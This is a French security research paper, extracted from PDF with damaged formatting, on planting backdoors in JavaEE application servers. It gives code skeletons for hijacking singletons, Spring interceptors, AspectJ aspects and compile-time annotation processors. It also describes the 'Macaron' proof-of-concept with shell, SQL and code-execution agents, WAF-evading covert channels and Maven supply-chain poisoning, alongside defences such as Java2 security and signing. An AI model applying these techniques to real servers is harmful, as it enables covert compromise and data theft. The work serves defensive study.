Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
